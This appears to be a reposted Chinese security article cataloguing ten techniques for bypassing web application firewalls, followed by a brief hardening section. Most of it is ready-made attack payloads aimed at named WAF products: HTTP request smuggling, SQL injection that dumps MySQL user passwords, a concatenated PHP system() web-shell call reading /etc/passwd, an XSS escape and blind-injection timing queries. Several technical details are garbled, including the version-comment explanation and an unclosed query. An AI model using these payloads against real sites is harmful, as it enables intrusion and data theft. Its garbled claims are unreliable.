一、协议层绕过技巧(3 种)
1. 分块传输编码攻击
POST/search.phpHTTP/1.1 Transfer-Encoding: chunked 7;x-bypass=waf keyword 0;x-header=true
绕过原理:
WAF 未完整解析 chunked 扩展参数时,会漏检 7;x-bypass=waf 后的有效负载。实测对阿里云 WAF 有效。
2. 畸形的 Content-Length
GET/admin.phpHTTP/1.1 Content-Length: 0 Content-Length: 32 admin=1' union select 1,2,3--+
攻击效果:
Cloudflare 等 WAF 优先处理第一个 Content-Length,实际后端服务器读取第二个长度值。
3. 多重编码污染
# 三重编码 payload
payload = base64.b64encode(
urllib.parse.quote(
html.escape("' OR 1=1-- ")
).encode('utf-16le')
)
防御突破点:
当 WAF 解码层数小于后端框架时,可构造编码深度差异。
二、语法层绕过技巧(4 种)
4. SQL 语句碎片化
/*!11440UNION*//*!00000SELECT*/ user,password FROM mysql.user
技术解析:
利用 MySQL 特有注释语法 /*!code*/,其中数字 11440 表示版本号(仅当 MySQL >11.4.40 时执行)
5. JSON 参数污染
{
"id":1,
"id":{"$gt":0}
}
MongoDB 场景效果:
部分 WAF 仅检查第一个 id 参数,后端 NoSQL 引擎实际使用第二个参数
6. 动态函数调用
// 传统方式被拦截
system("cat /etc/passwd");
// 绕过方式
$func = "s"."y"."s"."t"."e"."m";
$func($_GET['cmd']);
PHP 场景实测:
成功绕过 ModSecurity 的 cmd_exec 规则集
7. 正则逃逸技术
SELECT*FROM users WHERE id =1 UNIONSELECT1, CONCAT(0x7e, (SELECT MID(COLUMN_NAME,1,30) FROM information_schema.columns LIMIT 1,1) )
关键点:
- • 使用 MID 替代 SUBSTRING
- • 0x7e 代替波浪符 ~
- • 分步获取数据避免触发敏感词
三、语义层绕过技巧(3 种)
8. 上下文逃逸攻击
<script>
var x = '{{ user_input }}';
</script>
注入点构造:
'; alert(1); //
绕过原理:
WAF 在 HTML 中检测到单引号会严格拦截,但在 JavaScript 上下文可能放行
9. HTTP 参数碎片污染
GET /search?q=legit&user[id]=1&user[0]=or 1=1--
后端解析结果(PHP为例):
$_GET = [ "q" => "legit", "user" => [ "id" => "1", 0 => "or 1=1-- " ] ]
攻击效果:
成功将 SQL 注入语句隐藏在数组结构中
10. 时间盲注混淆
SELECT IF(ASCII(SUBSTR(database(),1,1))>115,
BENCHMARK(10000000,MD5('x')),
SLEEP(2)
双重延迟技术:
- • 当条件为真时执行 CPU 密集型操作
-
• 条件为假时使用传统 SLEEP
绕过基于响应时间的检测规则
四、防御加固方案
规则层优化
# 强制协议合规性 proxy_set_header Content-Length ""; client_header_buffer_size4k; large_client_header_buffers416k;
语义级检测
# 使用 libinjection 检测语义特征
import libinjection
result = libinjection.is_sql_injection("1' OR '1'='1")
if result['is_sqli']:
block_request()
动态脚本防护
// 前端输入过滤示例
constcleanInput = (str) => {
return str.replace(/[^\w\s]/gi,
match =>`&#x${match.charCodeAt(0).toString(16)};`
);
};
五、企业级防护架构
- 1. 协议清洗层:标准化 HTTP 头、过滤非法编码
- 2. 语义分析层:使用 AST 解析 SQL/命令结构
- 3. 行为建模层:建立 API 调用基线模型
- 4. 动态防御层:根据攻击特征实时生成规则
文章来源:HACK之道
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END














暂无评论内容